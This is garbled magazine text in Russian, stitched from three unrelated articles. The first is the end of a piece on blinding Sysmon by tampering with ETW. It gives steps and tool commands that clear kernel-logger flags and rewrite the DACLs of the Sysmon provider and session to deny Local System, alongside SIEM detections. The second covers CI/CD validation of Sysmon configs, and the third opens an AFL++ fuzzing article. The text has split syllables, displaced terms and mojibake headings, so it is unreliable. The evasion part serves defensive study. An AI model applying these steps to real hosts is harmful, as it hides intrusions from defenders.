Итак, нашему ата кующе му уда лось скрыть события раз решения имен
от Sysmon, но остался еще один тип событий — «EventID 3 (Network
connection detection)».

Èçìåíÿåì ôëàãè ñåññèè SYSMON TRACE

Те перь давай пос мотрим, какие про вай деры отправ ляют события в сеанс
.SYSMON TRACE

Как видим, спи сок про вай деров пуст, одна ко тут сто ит обра тить вни мание
на зна чение парамет ра  и вспом нить про спе циаль ный тип сес- 

сий — . Видим, что в спис ке парамет ров при сутс тву ет

 (0x02000000). Это зна чит, что про вай- 

дером для нее явля ется , а перечень типов событий
опре деля ется парамет ром  (0x10000).

LogFileMode
NT Kernel Logger

EVENT_TRACE_SYSTEM_LOGGER_MODE
SystemTraceProvider
EnableFlags

Пред ста вим, что нашему ата кующе му приш ло в голову отклю чить все типы
событий сис темно го про вай дера. Это мож но сде лать с помощью вызова фун- 
кции  с парамет ром . А в саму

фун кцию передать струк туру  с парамет ром

, рав ным 0x00. Коман да 
 выпол няет эти опе рации.

ControlTraceW EVENT_TRACE_CONTROL_UPDATE
EVENT_TRACE_PROPERTIES

EnableFlags set enableflags <SessionHandle> <
Flags>

Пов торно откры ваем оснас тку «Прос мотр событий», пыта емся уста новить
соеди нение с каким-нибудь сер вером и убеж даем ся в отсутс твии не толь ко
событий «EventID 22 (DNS query)», но и событий «EventID 3 (Network
connection detection)» в жур нале .Microsoft-Windows-Sysmon\Operational

Ìàíèïóëèðóåì äåñêðèïòîðàìè áåçîïàñíîñòè ñåññèè EventLog-

Microsoft-Windows-Sysmon-Operational

В ито ге всю информа цию, получа емую от модуля ядра SysmonDrv (под- 
робнее — ) и от под систе мы ETW, служ ба режима поль- 
зовате ля Sysmon агре гиру ет внут ри себя и пишет в жур нал событий

.

в прош лой статье

Microsoft-Windows-Sysmon\Operational
В этом механиз ме так же задей ство ваны сес сии ETW и про вай деры. Ранее

мы с тобой видели, что в сис теме при сутс тву ют три сес сии, соз вучные
с Sysmon, и пер вая из них — 

, которую мы догова рива лись оста вить на конец. Так вот, конец

нас тал!

EventLog-Microsoft-Windows-Sysmon-
Operational

Да вай пос мотрим на спи сок про вай деров этой сес сии.

Ви дим, что у сес сии есть один про вай дер — .Microsoft-Windows-Sysmon
Ра нее, ког да мы смот рели струк туры ядра, опи сыва ющие объ екты сес сии

и про вай дера, видели, что у каж дой из них есть поле .

Пред лагаю поп робовать помани пули ровать им.

SecurityDescriptor

Да вай сна чала поп робу ем изме нить SecurityDescriptor для про вай дера
, а потом для сес сии 

 и пос мотрим, что из это го вый дет.

Microsoft-Windows-Sysmon EventLog-Microsoft-
Windows-Sysmon-Operational

Пе ред началом это го экспе римен та необ ходимо
вер нуть всё на исходную позицию и убе дить ся,
что Sysmon пишет события в свой жур нал.

Пос мотрим на дес крип тор безопас ности про вай дера. Это мож но сде лать,
исполь зуя вызов :EventAccessQuery

  ULONG EVNTAPI EventAccessQuery(
 [in]      LPGUID               Guid,
    [in, out] PSECURITY_DESCRIPTOR Buffer,
   [in, out] PULONG               BufferSize
);

Пер вым парамет ром ( ) переда ется GUID сес сии или про вай дера.• Guid

Вто рым парамет ром ( ) переда ется адрес буфера, в который будет
помещен дес крип тор безопас ности сес сии или про вай дера.

• Buffer

И наконец, пос ледний параметр ( ) получа ет и воз вра щает
раз мер буфера.

• BufferSize

Дес крип тор безопас ности име ет сле дующий вид:

O:BAG:BAD:(A;;0x1800;;;WD)(A;;0x120fff;;;SY)(A;;0x120fff;;;LS)(A;;
0x120fff;;;NS)(A;;0x120fff;;;BA)(A;;0xee5;;;LU)(A;;LC;;;MU)(A;;
0x1800;;;AC)(A;;0x1800;;;S-1-15-3-1024-3153509613-960666767-
3724611135-2725662640-12138253-543910227-1950414635-4190290187) 

Пер вая запись в спис ке DACL  озна чает, что для учет ной

записи  нуж но пре дос тавить сле дующий дос туп:

(A;;0x1800;;;WD)
Everyone

TRACELOG_ACCESS_KERNEL_LOGGER | TRACELOG_REGISTER_GUIDS 

Вто рая запись ( ) пре дос тавля ет пол ный дос туп для учет- 
ной записи .

(A;;0x120fff;;;SY)
Local System

Да вай явно зап ретим для Local System дос туп к про вай деру —
(D;;0x120fff;;;SY), а ACE для учет ки Everyone вооб ще убе рем. Это мож но сде- 
лать с помощью фун кции :EventAccessControl

  ULONG EVNTAPI EventAccessControl(
    [in] LPGUID Guid,
     [in] ULONG Operation,
      [in] PSID Sid,
     [in] ULONG Rights,
   [in] BOOLEAN AllowOrDeny
);

Пер вым парамет ром ( ) переда ется иден тифика тор про вай дера
или сеан са, для которо го нуж но изме нить дес крип тор безопас ности.

• Guid

Вто рым ( ) ука зыва ется . Это может быть добав- 
ление записи в спис ки DACL/SACL или пол ная замена этих спис ков.

• Operation тип опе рации

Треть им парамет ром ( ) переда ется иден тифика тор учет ной записи,
для которой изме няют ся пра ва дос тупа.

• Sid

Сле дующим парамет ром ( ) переда ется перечень прав дос тупа
в виде мас ки.

• Rights

И пос ледним парамет ром ( ) опре деля ется тип опе рации:
раз решить или зап ретить.

• AllowOrDeny

Ко ман да  реали зует вызов этой фун кции.set sddldacl <Guid> <sddldacl>

Пе резаг ружа ем машину и убеж даем ся, что в жур нале Sysmon нет событий.
При чем пос ледним событи ем явля ется . Эта тех ника, в отли чие
от пре дыду щих, будет пер систен тной.

EventID 255

По луча ем еще один детект для нашего SIEM:

Provider Name='Microsoft-Windows-Sysmon' and EventID='255' and Data 
Name.Description='Failed to open service configuration with error 94 
- Last error: Носитель защищен от записи.' 

Вер нем всё назад и поп робу ем про делать ана логич ные манипу ляции
для сес сии трас сиров ки. Спи сок DACL име ет сле дующий вид:

D:(A;;0x1800;;;WD)(A;;0x120fff;;;SY)(A;;0x120fff;;;LS)(A;;0x120fff;;;
NS)(A;;0x120fff;;;BA)(A;;0xee5;;;LU)(A;;LC;;;MU)(A;;0x1800;;;AC)(A;;
0x1800;;;S-1-15-3-1024-3153509613-960666767-3724611135-2725662640-
12138253-543910227-1950414635-4190290187) 

По ана логии с про вай дером ребутим хост, откры ваем оснас тку «Прос мотр
событий» и видим сле дующую кар тину.

И будет счастье нашему ата кующе му, ну а для нас это пол ное разоча рова- 
ние... На этот раз Sysmon даже ничего не ска жет!

Од нако не все так пло хо: если у тебя в инфраструк туре нас тро ен WEC,
в жур нале 

ты можешь обна ружить сле дующее событие.

Microsoft-Windows-Eventlog-ForwardingPlugin/Operational

ÂÛÂÎÄÛ

Нам уда лось вос про извести дей ствия ата кующе го и осле пить Sysmon,
манипу лируя с под систе мой ETW. Конеч но же, пре дел у фан тазий хакеров
отсутс тву ет нап рочь: здесь еще огромное поле для твор чес тва, и мы обя- 
затель но про дол жим его осва ивать!

https://xakep.ru/2024/02/09/sysmon-blinding/
https://learn.microsoft.com/en-us/windows/win32/api/evntrace/nf-evntrace-queryalltracesw
https://learn.microsoft.com/en-us/windows/win32/api/evntrace/ns-evntrace-event_trace_properties
https://learn.microsoft.com/en-us/windows/win32/api/evntrace/nf-evntrace-controltracew
https://learn.microsoft.com/en-us/windows/win32/api/tdh/nf-tdh-tdhenumerateproviders
https://learn.microsoft.com/en-us/windows/win32/api/tdh/ns-tdh-provider_enumeration_info
https://learn.microsoft.com/en-us/windows/win32/api/tdh/ns-tdh-trace_provider_info
https://learn.microsoft.com/en-us/windows/win32/api/evntrace/nf-evntrace-enumeratetraceguidsex
https://learn.microsoft.com/en-us/windows/win32/api/evntrace/ne-evntrace-trace_query_info_class
https://learn.microsoft.com/en-us/windows/win32/api/evntrace/ns-evntrace-trace_guid_info
https://learn.microsoft.com/en-us/windows/win32/api/evntrace/ns-evntrace-trace_provider_instance_info
https://learn.microsoft.com/en-us/windows/win32/api/evntrace/ns-evntrace-trace_enable_info
https://learn.microsoft.com/en-us/windows/win32/api/evntrace/nf-evntrace-enabletraceex2
https://xakep.ru/2024/02/09/sysmon-blinding/
https://learn.microsoft.com/en-us/windows/win32/api/evntcons/nf-evntcons-eventaccessquery
https://learn.microsoft.com/en-us/windows/win32/api/evntcons/nf-evntcons-eventaccesscontrol
https://learn.microsoft.com/en-us/windows/win32/api/evntcons/ne-evntcons-eventsecurityoperation
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Кон фигура цион ный файл встро енно го
в Windows средс тва монито рин га Sysmon
может раз растать ся до тысячи строк,
которые опи сыва ют пра вила отбо ра регис- 
три руемых в логах событий. Стан дар тный
набор фун кций Sysmon для про вер ки кон- 
фига неудо бен и зат рудня ет работу ана- 
лити ка. В этой статье я покажу, как сос- 
тавлять пай плайн CI/CD для валида ции кон- 
фига Sysmon и сде лать невоз можной
потерю событий.

Глав ная проб лема при работе с Sysmon в том, что в слу чае ошиб ки ты получа- 
ешь текст с атри бута ми XML-фай ла, как на кар тинке ниже.

При мер вывода ошиб ки Sysmon

Один из методов сос тавле ния кон фига Sysmon я
уже опи сал в .статье на «Хаб рахаб ре»

Ошиб ки могут быть свя заны с опе чат ками, некор рек тны ми парамет рами,
новыми типами событий — все они спо соб ны при вес ти к наруше нию про цес- 
са монито рин га. Для авто мати чес кой про вер ки мы мог ли бы вос поль зовать ся
схе мой XSD, которая не пос тавля ется вмес те с Sysmon.

На  был похожий про ект, автор опи сывал
XSD-схе му для раз ных вер сий Sysmon и раз- 
работал модули PowerShell. В нас тоящее вре мя
про ект не под держи вает ся.

GitHub

Для решения проб лемы мы можем вос поль зовать ся под ходом 
 (DaC). Для его реали зации я вос поль зовал ся воз можнос тями GitLab

CI/CD.

Detection-

as-Code

Прак тики DevOps набира ют обо роты во всех сфе- 
рах ИТ. Detection engineering не исклю чение —
кол лабора ция получи ла наз вание 

.
Detection-as-

Code

ÊÐÀÒÊÎÅ ÂÂÅÄÅÍÈÅ Â DETECTION-AS-CODE

Detection-as-Code — это под ход вклю чения прак тик DevOps в деятель ность
ана лити ков SOC и CERT, а так же инже неров по внед рению СЗИ и средств
монито рин га. DaC поз воля ет струк туриро вать управле ние пра вила ми обна- 
руже ния, кон фигура цион ными фай лами, про вес ти тес тирова ние до их
исполь зования в конеч ном про дук те.

В боль шинс тве слу чаев для соз дания нового пра вила или редак тирова ния
сущес тву юще го ана лити ку необ ходимо открыть встро енный редак тор исполь- 
зуемо го про дук та. Изме нения, вно симые в поль зователь ском интерфей се,
труд но и неудоб но отсле живать. Под ход DaC поз воля ет быть уве рен ным, что
мы ничего не сло маем. В про цес се CI/CD соз дава емый кон тент тес тиру ется
до того, как он будет дос тавлен в целевую сис тему.

ÏÀÉÏËÀÉÍ

Ýòàïû

Мой пай плайн вклю чает пять эта пов:
1.  — сбор ка Docker-кон тей нера.".pre"

2.  — сбор ка кон фига из модулей для нуж ной Sysmon вер сии схе мы.build

3.  — тес тирова ние получен ных кон фигов на соот ветс твие схе- 
ме Sysmon.
test-schema

4.  — тес тирова ние кон фигов на хос тах (при необ- 
ходимос ти мож но исполь зовать Windows 10 и Windows 7, если нужен кон- 
фиг для легаси).

test-on-windows

5.  — дос тавка кон фига до поль зовате лей.deploy

При мер вывода ошиб ки Sysmon

Так выг лядит начало фай ла :.gitlab-ci.yml

stages: 
 - ".pre"
 - build 
 - test-schema 
 - test-on-windows 
 - deploy 

workflow: 
 rules: 
   - changes: 

.xml      - templates/*

Клю чевое сло во  опре деля ет эта пы в пай плай не, а  — пра- 
вило, опи сыва ющее, ког да он будет запус кать ся. Мой пай плайн запус кает ся
толь ко при изме нении модулей кон фига.

stages workflow

Íóëåâîé ýòàï. Ñáîðêà îáðàçà Docker

Для сбор ки обра за Docker я исполь зую под ход . Docker-
файл так же находит ся в репози тории. На этом эта пе мы уста нав лива ем
Ansible, pywinrm и кол лекцию Ansible Community.Windows в собира емый
образ.

Docker-in-Docker

FROM python:3.12-bookworm
LABEL maintainer="d3f0x0"

  pip   pip 
 

RUN apt-get update && apt-get upgrade -y && install --upgrade
&& apt-get install ansible -y && pip3 install pywinrm && ansible-
galaxy collection install community.windows && apt-get clean 
VOLUME [ "/data" ]
WORKDIR /data
CMD ["ansible-playbook", "--version"]

Job для GitLab выг лядит вот так:

build-docker:
  stage: ".pre"
  image: docker:dind
 tags:
    - docker
 services:
     - name: docker:dind
 script:
    - echo -n "$CI_REGISTRY_PASSWORD" | docker login -u 
$CI_REGISTRY_USER $CI_REGISTRY --password-stdin
    - docker pull "$CI_REGISTRY_IMAGE:latest" || true
    - >
     docker build
     --pull
     --cache-from $CI_REGISTRY_IMAGE:latest
     --label "org.opencontainers.image.title=$CI_PROJECT_TITLE"
     --label "org.opencontainers.image.url=$CI_PROJECT_URL"
     --label "org.opencontainers.image.created=$CI_JOB_STARTED_AT"
     --label "org.opencontainers.image.revision=$CI_COMMIT_SHA"
     --label "org.opencontainers.image.version=$CI_COMMIT_REF_NAME"
     --tag $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
     .
    - docker push $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA

В резуль тате образ будет добав лен в реестр Docker соот ветс тву юще го про- 
екта GitLab. Его мы будем исполь зовать на осталь ных эта пах.

Ïåðâûé ýòàï. Áèëä êîíôèãà

Пер вый шаг в обес печении надеж ности кон фига Sysmon — это про вер ка
струк туры XML-фай ла. XML дол жен быть валид ным, что бы Sysmon кор рек тно
интер пре тиро вал кон фиг.

Я решил раз делить свой кон фиг по модулям, которые может регис три- 
ровать драй вер Sysmon (ProcessCreate, NetworkConnection и так далее). Этот
спо соб исполь зует ся в репози тории .sysmon-modular

При мер вывода ошиб ки Sysmon

Что бы мож но было работать с раз ными вер сиями Sysmon, я пре дус мотрел
вари ант, ког да ито говый кон фиг собира ется на осно ве схем, пос тавля емых
вмес те с Sysmon.

Со бира ет кон фиг скрипт , написан ный на Python. Так же
исполь зует ся шаб лон Jinja2 ( ).

merge_module.py
cong.xml.j2

 <Sysmon schemaversion="{{ schemaversion }}">
   *<HashAlgorithms> </HashAlgorithms>
   True<DnsLookup> </DnsLookup>
   True<CheckRevocation> </CheckRevocation>
   <ArchiveDirectory>sysmon</ArchiveDirectory>
   <EventFiltering>
 {% for module in modules_files %} 
     {% set event = module.split('.') %} 
     {% if event[0] in event_schema %} 
   {% include module %} 
     {% endif %} 
 {% endfor %} 
   </EventFiltering>
</Sysmon>

Скрип ту на вход пода ется схе ма из Sysmon, а даль ше в соот ветс твии со схе- 
мой собира ется ито говый кон фиг.

  SCHEMA_DIR = os.path.join(os.getcwd(),"schemas")
     MODULES_DIR = os.path.join(os.getcwd(),"templates")
     SYSMON_CONFIG_NAME = "config"

     if not os.path.isdir("output"):
 os.mkdir("output")

   try:
    for file in os.listdir(SCHEMA_DIR):

        schema = SysmonSchema(os.path.join(SCHEMA_DIR, file))
       schemaEvents = (schema.events.keys())

   
 

     environment = Environment(loader=FileSystemLoader(MODULES_DIR),
trim_blocks=True, lstrip_blocks=True)

       template = environment.get_template("config.xml.j2")

       configFilename = os.path.join("output",f"{schema.binaryversion}
_{SYSMON_CONFIG_NAME}.xml")

   
 

     content = template.render(schemaversion=schema.schemaversion,
modules_files=os.listdir(MODULES_DIR), event_schema=list(schema.
events.keys()))

         with open(configFilename, "w") as obj:
   obj.write(content)

    except FileExistsError:
 print(f"ERROR - File not found")
      except Exception as e:
 print(f"ERROR - New exeception - {e}")%

Job в pipeline GitLab выг лядит сле дующим обра зом:

merge_configs:
  image: CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
  stage: build
 before_script:
    - pip install -r requirements.txt
 script:
    - python3 merge_module.py
 artifacts:
   paths:

      - output/*
    expire_in: 30 min

Об рати вни мание на клю чевое сло во , где мы опре деля ем, что все

фай лы из дирек тории  будут переда вать ся меж ду джо бами и мы смо- 
жем исполь зовать их пов торно.

artifacts
output/

 соб ранный кон фиг Sysmon для соот ветс тву ющих схем.Ðå çóëü òàò:

Пос ле про вер ки струк туры XML нуж но про верить парамет ры и зна чения
в самом кон фиге.

Âòîðîé ýòàï. Òåñòèðîâàíèå ñîáðàííûõ êîíôèãîâ íà ñîîòâåòñòâèå

ñõåìàì

Я поль зуюсь нес коль кими схе мами и для каж дой соз даю отдель ный job
на эта пе .test-schema

test-config-schema-16: 
 needs: [merge_configs] 
 stage: test-schema 
 image: CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
 tags: 
   - docker 
 extends: .before_script_schema 
 script: 
   - python sysmonvalidate/sysmonvalidate.py output/16_config.xml 
schemas/16_schema.xml 

Для умень шения объ ема кода я при меняю атри бут , который поз- 

воля ет пов торно исполь зовать код, в моем слу чае .

extends
before_script

.before_script_schema: 
 before_script: 
   - git submodule init 
   - git submodule update 

На эта пе  мы ука зали арте фак ты и кон фиги Sysmon, которые

валиди руем на соот ветс твие схе мам при помощи скрип та .

merge_configs
sysmonvalidate.py

python sysmonvalidate/sysmonvalidate.py output/16_config.xml schemas/
16_schema.xml 

Да вай пос мотрим, что про веря ется в текущей вер сии .sysmonvalidate.py
Кор рек тность вер сии кон фига Sysmon и вер сии схе мы:

    if config_schemaversion > float(schema.schemaversion):
 raise ConfigError(f"The configuration version is higher than the 

schema version: "
     f"{config_schemaversion} > {schema.schemaversion}")

Кор рек тность наиме нова ния опций:

           config_options = [elem.tag for elem in root if elem.tag !=
'EventFiltering']
    for options in config_options:
    if options not in schema.get_schema_options():
    raise ConfigError(f"Correctness of the names of the 
configuration file options.\nSysmon -> "
         f"ERROR: {options}\n")

Зна чение атри бута :groupRelation

    for rulegroup in rule_group_element:
  next_object = get_next_object(rulegroup)

     if rulegroup.attrib['groupRelation'] not in ['and', 'or']:
    raise ConfigError(f"Values of the groupRelation attribute of the 
RuleGroup element.\n"
         f"RuleGroup -> groupRelation: {next_object}\n")

Да лее про веря ются:
наз вание пра вил филь тра ции, нап ример ;• Process Create

зна чение атри бута , в котором ука зыва ется филь тр для отбо ра
событий 

• onmatch

ProcessCreate onmatch="exclude"

дан ные подат рибута эле мен та , нап ример ;• event FileCreateTime

ис поль зуемые фун кции филь тра ции, нап ример: 
.

• is, is not,

contains, contains any, image

   for objectrulegroup in rulegroup.findall(f".//{next_object.tag}"):
   # Check Names of filtering events
       if objectrulegroup.tag not in schema.events:
  raise ConfigError(f"Names of filtering events.\nRuleGroup -> ERROR:
{next_object.tag}")
   # Check Values of the onmatch attribute of the filtering events
        if objectrulegroup.attrib['onmatch'] not in ['exclude', 'include'
]:
  raise ConfigError(f"Values of the onmatch attribute of the 
filtering events\nRuleGroup -> {next_object.tag} -> onmatch")
     flagRuleName = False
      for rule in objectrulegroup.iter():
   if not flagRuleName:

       flagRuleName = True
     continue
    if rule.tag == "Rule":

          if rulegroup.attrib['groupRelation'] not in ['and', 'or']:
    raise ConfigError(f"Values of the groupRelation attribute of the 
Rule element.\n"
         f"Rule -> groupRelation: {next_object}\n")
     continue

 # Sub-element data of the event element
         if rule.tag not in schema.events[next_object.tag] and rule.tag !=
"Rule":

      raise ConfigError(f"Sub-element data of the event element\n
RuleGroup -> {next_object.tag} -> ERROR: {rule.tag} = {rule.text}")

 # Used filters of the data element
     if not "condition" in rule.attrib:

      raise ConfigError(f"Elements without condition.\n {next_object.
tag} -> {rule.tag} -> {rule.text}")

      if rule.attrib['condition'] not in schema.filters :
      raise ConfigError(f"Used filters of the data element.\n

RuleGroup -> {next_object.tag} -> {rule.tag} -> {rule.attrib[
'condition']} "
           f"= {rule.text}")

Что не про веря ется — это типы дан ных.
 кон фиг про верен на соот ветс твие схе мам.Ðå çóëü òàò:

Òðåòèé ýòàï. Òåñòèðîâàíèå íà õîñòàõ

Как говорит ся, тес тов мало не быва ет, поэто му на эта пе 

тес тирова ние про водит ся пря мо на хос тах. Я исполь зую нес коль ко вир туаль- 
ных машин, нес коль ко вер сий Sysmon (их мож но  в Internet Archive)
и роль Ansible.

test-on-windows

най ти

Я опти мизи ровал под свою задачу роль Ansible,
которую нашел .на GitHub

Job выг лядит сле дующим обра зом:

test-windows-16: 
 stage: test-on-windows 
 needs: [merge_configs, test-config-schema-16] 
 image: CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
 tags: 
   - docker 
 script: 
   - cp output/16_config.xml .ansible/ansible-role-sysmon/files/
config.xml 

 
 
   - ansible-playbook -vvv -i .ansible/hosts.yml .ansible/main.yml 
-e ansible_password=$ANSIBLE_PASSWORD
 allow_failure: true

В job  запус кает ся плей бук Ansible, который выпол няет сле- 

дующие тас ки.

test-windows-16

Соз дает дирек торию, в которую копиру ются фай лы для будущих эта пов:

- name: (Windows) Create installation directory 
 ansible.windows.win_file: 
   path: "{{ sysmon_install_path }}"
   state: directory 

Про веря ет, уста нов лен ли Sysmon:

- name: (Windows) Check if sysmon is installed 
 ansible.windows.win_service: 
   name: "{{ sysmon_servicename }}"
 register: sysmon_installed 
 ignore_errors: true

Уда ляет Sysmon, если он уста нов лен:

- name: (Windows 7) Uninstall sysmon 
 ansible.windows.win_command: "{{ sysmon_servicename }} -u"
 args: 
   chdir: "{{ sysmon_install_path }}\"
 when:
   - sysmon_installed.exists
   - ansible_distribution_major_version | int == 6

- name: (Windows >7) Uninstall sysmon
  ansible.windows.win_command: "{{ sysmon_servicename }} -u"

 args:
   chdir: "{{ sysmon_install_path }}\"
 when: 
   - sysmon_installed.exists 

 6    - ansible_distribution_major_version | int >

Ко пиру ет файл Sysmon:

- name: (Windows 7) Upload sysmon sysmon binary 
 ansible.windows.win_copy: 
   src: files/14/{{ sysmon_binary }}
   dest: "{{ sysmon_install_path }}\\Sysmon64.exe"
   when: 

 6      - ansible_distribution_major_version | int ==

7- name: (Windows > ) Upload sysmon sysmon binary 
 ansible.windows.win_copy: 
   src: files/15/{{ sysmon_binary }}
   dest: "{{ sysmon_install_path }}\\Sysmon64.exe"
 when: 

 6    - ansible_distribution_major_version | int >

Ко пиру ет кон фигура цион ный файл и :Eula.txt

- name: (Windows) Upload Eula.txt 
 ansible.windows.win_copy: 
   src: files/Eula.txt 
   dest: "{{ sysmon_install_path }}\\Eula.txt"

- name: (Windows) Upload sysmon configuration 
 ansible.windows.win_copy: 
   src: files/{{ sysmon_config }}
   dest: "{{ sysmon_install_path }}\\sysmonconfig.xml"

- name: (Windows 7) Install sysmon 
 ansible.windows.win_command: "{{ sysmon_binary }} -i sysmonconfig.

xml -accepteula"
 args: 
   chdir: "{{ sysmon_install_path }}"
 when: 

 6    - ansible_distribution_major_version | int ==

Ус танав лива ет Sysmon:

7- name: (Windows > ) Install sysmon 
 ansible.windows.win_command: "{{ sysmon_binary }} -i sysmonconfig.

xml -accepteula"
 args: 
   chdir: "{{ sysmon_install_path }}"
 when: 

 6    - ansible_distribution_major_version | int >

- name: (Windows 7) Clean uninstall sysmon 
 ansible.windows.win_command: "{{ sysmon_servicename }} -u"
 args: 
   chdir: "{{ sysmon_install_path }}\"
 when:
   - ansible_distribution_major_version | int == 6

Уда ляет Sysmon и заг ружен ные фай лы:

7- name: (Windows > ) Clean uninstall sysmon 
 ansible.windows.win_command: "{{ sysmon_servicename }} -u"
 args: 
   chdir: "{{ sysmon_install_path }}\"
 when:
   - ansible_distribution_major_version | int > 6

- name: (Windows 7) Clean directory tools
 ansible.windows.win_file:
   path: C:\tools
   state: absent
 when:
   - ansible_distribution_major_version | int == 6

- name: (Windows >7) Clean directory tools
 ansible.windows.win_file:
   path: C:\tools
   state: absent
 when:
   - ansible_distribution_major_version | int > 6

 про веде но тес тирова ние на хос те.Ðå çóëü òàò:

×åòâåðòûé ýòàï. Äîñòàâêà ñîáðàííîãî êîíôèãà äî ïîëó÷àòåëÿ

Зак лючитель ный этап — это дос тавка рабоче го кон фига. Выбор спо соба дос- 
тавки зависит от метода, которым ты рас простра няешь Sysmon (GPO, SCCM,
Ansible, PS1 и так далее).

Вот нес коль ко при меров спо собов дос тавки:
заг рузка акту аль ного кон фига из репози тория;•
ко пиро вание кон фига в SYSVOL;•
рас простра нение через Ansible.•

ÂÛÂÎÄÛ

Опи сан ный пай плайн — это при мер того, как мож но орга низо вать про цесс
раз работ ки пра вил детек тирова ния. Его мож но улуч шить, добавив:

соз дание , содер жащего кон фиг, и исполня емо го фай ла
с помощью ;

• фай ла MSI
WiX Toolset

ис поль зование пакетов;•
ис поль зование релизов;•
ис поль зование Terraform или Vagrant для управле ния вир туаль ными
машина ми, на которых про водят ся тес ты.

•

Эф фектив ная валида ция кон фигура цион ного фай ла Sysmon тре бует, по сути,
двух тех нологий: интегра ции с сис темами кон тро ля вер сий и скрип тов
для валида ции.

https://habr.com/ru/articles/664916/
https://github.com/mattifestation/PSSysmonTools/tree/master/PSSysmonTools/Schemas
https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#use-docker-in-docker
https://github.com/olafhartong/sysmon-modular
https://github.com/d3f0x0/sysmonvalidate/blob/main/merge_module.py
https://github.com/d3f0x0/sysmonvalidate/blob/main/templates/config.xml.j2
https://github.com/d3f0x0/sysmonvalidate
https://web.archive.org/web/20240000000000*/https://download.sysinternals.com/files/Sysmon.zip
https://github.com/j91321/ansible-role-sysmon
https://github.com/Croko-fr/Sysmon
https://hub.docker.com/r/justmoon/wix
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ВЗЛОМ

Фаз зинг, как ты, навер ное, зна ешь, —
это тех ника, которая поз воля ет авто мати- 
зиро вать поиск уяз вимос тей в соф те. Быва- 
ет фаз зинг методом «чер ного ящи ка», ког- 
да у нас нет исходни ков прог раммы,
а быва ет осно ван ный на пок рытии — то
есть при меня емый к исходни кам. В этой
статье сос редото чим ся на вто ром виде
и на при мере AFL++ раз берем, какую роль
здесь игра ют санитай зеры и как их при- 
менять.

О фаз зинге методом чер ного ящи ка читай
в статье «

».
WinAFL на прак тике. Учим ся работать

фаз зером и искать дыры в соф те

Суть фаз зинга зак люча ется в том, что бы авто мати чес ки подавать прог рамме
неп равиль ные или испорчен ные дан ные и отлавли вать потен циаль ные уяз- 
вимос ти.

На све те сущес тву ет мно жес тво фаз зеров: AFL++, libfuzz, WinAFL, CI Fuzz,
PeachTech Peach Fuzzer, FuzzDB, go-fuzz и про чие, в том чис ле самопис ные.
Фаз зеры при мени мы не толь ко для прог рамм, но и для сай тов. Нап ример,

 — это веб-фаз зер, который нужен, что бы вво дить любые дан ные
в любое поле HTTP-зап роса.
wfuzz

В этой статье идет речь о фаз зинге прог рамм. Нашим инс тру мен том будет
 — фаз зер, ори енти рован ный на пок рытие. Это зна чит, что он собира ет

информа цию о пок рытии для каж дого изме нен ного вхо да, что бы обна ружить
новые пути выпол нения и потен циаль ные ошиб ки. Если у тебя есть исходник
прог раммы, AFL может встав лять вызовы фун кций в начало каж дого базово го
бло ка, нап ример в фун кции и цик лы.

AFL++

О том, как при помощи AFL тес тировать блек боксы, написа но мно жес тво
, в том чис ле о том, как его . Но этот фаз зер уме ет

ком пилиро вать прог раммы и делать свои встав ки в код, что облегча ет фаз- 
зинг. Такие встав ки называ ются санитай зерами.

ста тей рас парал леливать

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

×ÒÎ ÒÀÊÎÅ ÑÀÍÈÒÀÉÇÅÐÛ?

Са нитай зеры — это ути литы, которые обыч но пос тавля ются вмес те с ком- 
пилято рами. Они помога ют искать ошиб ки в коде во вре мя исполне ния. Если
обоб щить, мож но выделить три раз новид ности санитай зеров:

address — ищет ошиб ки работы с памятью;•
thread — ищет проб лемы в мно гопо точ ных вычис лени ях (сос тояние гон ки);•
undened — ищет неоп ределен ное поведе ние в прог рамме.•

Ис поль зование санитай зеров вмес те с AFL++ — это хороший тон при фаз- 
зинге, потому что с ними фаз зер будет луч ше знать, какого рода ошиб ки ему
нуж но искать. С санитай зерами фаз зинг всег да будет про ходить успешнее,
чем без них.

В AFL++ дос тупны раз ные санитай зеры, которые помога ют обна ружи вать
ошиб ки в коде. Вот крат кое опи сание каж дого из них.
1.  пред назна чен для обна руже ния оши бок чте ния

или записи в память, таких как перепол нение буфера или исполь зование
осво бож денной памяти. Он обес печива ет деталь ную информа цию
об ошиб ках и помога ет в их отладке.

AddressSanitizer (ASAN)

2.  приз ван обна ружить неини циали зиро ван ную

память. Он помога ет выявить ошиб ки, свя зан ные с исполь зовани ем
неини циали зиро ван ных дан ных и спо соб ные при вес ти к неп ред ска зуемо- 
му поведе нию прог раммы.

MemorySanitizer (MSAN)

3.  пред назна чен для поис ка гонок дан ных в мно- 

гопо точ ных прог раммах. Он помога ет выявить ситу ации, ког да нес коль ко
потоков одновре мен но обра щают ся к одним и тем же дан ным, что иног да
при водит к неп ред ска зуемым резуль татам.

ThreadSanitizer (TSAN)

4.  помога ет обна ружить неоп- 
ределен ное поведе ние в прог рамме, такое как деление на ноль, перепол- 
нение целочис ленных типов или неп равиль ное исполь зование ука зате лей.
Он пре дуп режда ет о таких проб лемах и помога ет пре дот вра тить воз- 
можные ошиб ки.

UndefinedBehaviorSanitizer (UBSAN)

5.  обес печива ет защиту от атак, свя зан ных

с изме нени ем потока управле ния прог раммы. Он про веря ет целос тность
вызовов фун кций и пре дот вра щает нежела тель ные изме нения потока
выпол нения.

Control Flow Integrity (CFI)

6.  пред назна чен для защиты от перепол нения сте ка. Он обес- 

печива ет допол нитель ные механиз мы безопас ности, что бы пре дот вра тить
воз можные ата ки, свя зан ные с перепол нени ем сте ка.

Safe-stack

В раз ных слу чаях могут при годить ся раз ные санитай зеры, в том чис ле
это зависит от осо бен ностей и тре бова ний про екта.

Нап ример, санитай зер ASAN может выявить сле дующие проб лемы:
 — исполь зование чан ка кучи пос ле его осво бож дения;• Use-After-Free

 — перепол нение одно го чан ка и добав ление дан ных
в дру гой чанк;

• HeapOverflow

 — клас сичес кое перепол нение буфера.• StackOverflow

Под робнее о воз можнос тях ASAN читай в 
.

до- 
кумен тации на GitHub

